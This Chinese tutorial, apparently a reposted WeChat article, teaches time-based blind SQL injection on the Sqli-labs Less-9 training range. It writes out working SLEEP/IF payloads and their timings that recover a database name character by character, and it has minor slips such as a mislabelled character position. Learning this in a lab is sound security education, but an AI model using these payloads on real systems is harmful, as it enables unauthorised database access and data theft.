本文是Web安全入门系列的第5篇文章
01
首先介绍一个新的靶场,名为Sqli-labs。Sqli-labs是一个印度小哥写的,比较全面的SQL注入练习靶场。一共有75个关卡,从易到难囊括了多种SQL注入场景,且网上有非常多的学习资料,推荐给想要深入学习SQL注入的小伙伴~
部署好靶场后,首页会看到关卡导航,列出了每个关卡练习的注入类型,我们要用到的是Less-9:基于时间的盲注
Sqli-labs关卡都是以id为输入参数的,在定位注入点时,尝试输入id=1,id=1',id=1"......无论怎么输入,返回结果都是"You are in ......."。
因此得出结论:
1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果,故无法使用UNION注入
4. 符合上一篇介绍的盲注的特征,但不属于布尔型盲注
看上去路都堵死了,难道就束手无策了么?
02
上面的这种情况,怎么判断是否存在注入?注入的语句到底执行了没有?执行成功了还是失败了呢?这个时候,我们需要用到时间型盲注。
首先介绍MySQL的SLEEP(N)函数,通常情况下,执行SQL语句时是立即执行的。
加入SLEEP函数后可以强制停留2秒,但是只有指定条件的记录存在时才会停止指定的秒数。
如果查询一条并不存在的记录时使用SLEEP函数,也会立即执行。
看到这里,聪明的你是不是已经猜到了我们要用可爱的SLEEP做什么了呢?没错,我们就是要用SLEEP的这一特性来判断注入点,和注入语句的执行结果。
03
回到Sqli lab的Less 9,首先判断注入的参数类型。
输入:id=1 and sleep(5) --+
用时:9ms,SLEEP函数没有被执行
输入:id=1" and sleep(5) --+
用时:8ms,SLEEP函数没有被执行
输入:id=1' and sleep(5) --+
用时:5s,SLEEP函数被执行,注入参数id是字符型,传入时带单引号
这就是时间型盲注的思路,时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。简称:你猜我睡着没有~
04
还记得我们上篇文章讲的盲注的终极奥义么?接下来,我们用终极奥义来拿更多的数据。
猜测数据库名称长度
输入:id=1' and If(length(database()) > 1,1,sleep(5))--+
用时:<1s,数据库名称长度>1
输入:id=1' and If(length(database()) > 2,1,sleep(5))--+
用时:<1s,数据库名称长度>2
输入:id=1' and If(length(database()) > 3,1,sleep(5))--+
用时:<1s,数据库名称长度>3
......
输入:id=1' and If(length(database()) >8 ,1,sleep(5))--+
用时:5s,数据库名称长度=8
最终得出结论:数据库名称长度等于8个字符。
猜测数据库名称的一个字符
输入:id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+
用时:<1s
输入:id=1' and If(ascii(substr(database(),1,1))=98,sleep(5),1)--+
用时:<1s
输入:id=1' and If(ascii(substr(database(),1,1))=99,sleep(5),1)--+
用时:<1s
......
输入:id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
用时:5s
得出结论:数据库名称的第一个字符是小写字母s。
不理解97,98,99含义的同学,请参考ASCII编码对照表:http://ascii.911cha.com/
猜测数据库名称的二个字符
输入:id=1' and If(ascii(substr(database(),2,1))=97,sleep(5),1)--+
用时:<1s
输入:id=1' and If(ascii(substr(database(),2,1))=98,sleep(5),1)--+
用时:<1s
输入:id=1' and If(ascii(substr(database(),2,1))=99,sleep(5),1)--+
用时:<1s
......
输入:id=1' and If(ascii(substr(database(),2,1))=101,sleep(5),1)--+
用时:5s
得出结论:数据库名称的第一个字符是小写字母e。
......
依此类推,最后猜出数据库名称为:security。
本期内容就到这里了,篇幅有限,不用猜到手抽筋的神器留着下期介绍,期待下期再见~
(部分图片源自网络,侵删)
原文始发于微信公众号(陆吾安全攻防实验室):SQL注入之时间型盲注
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论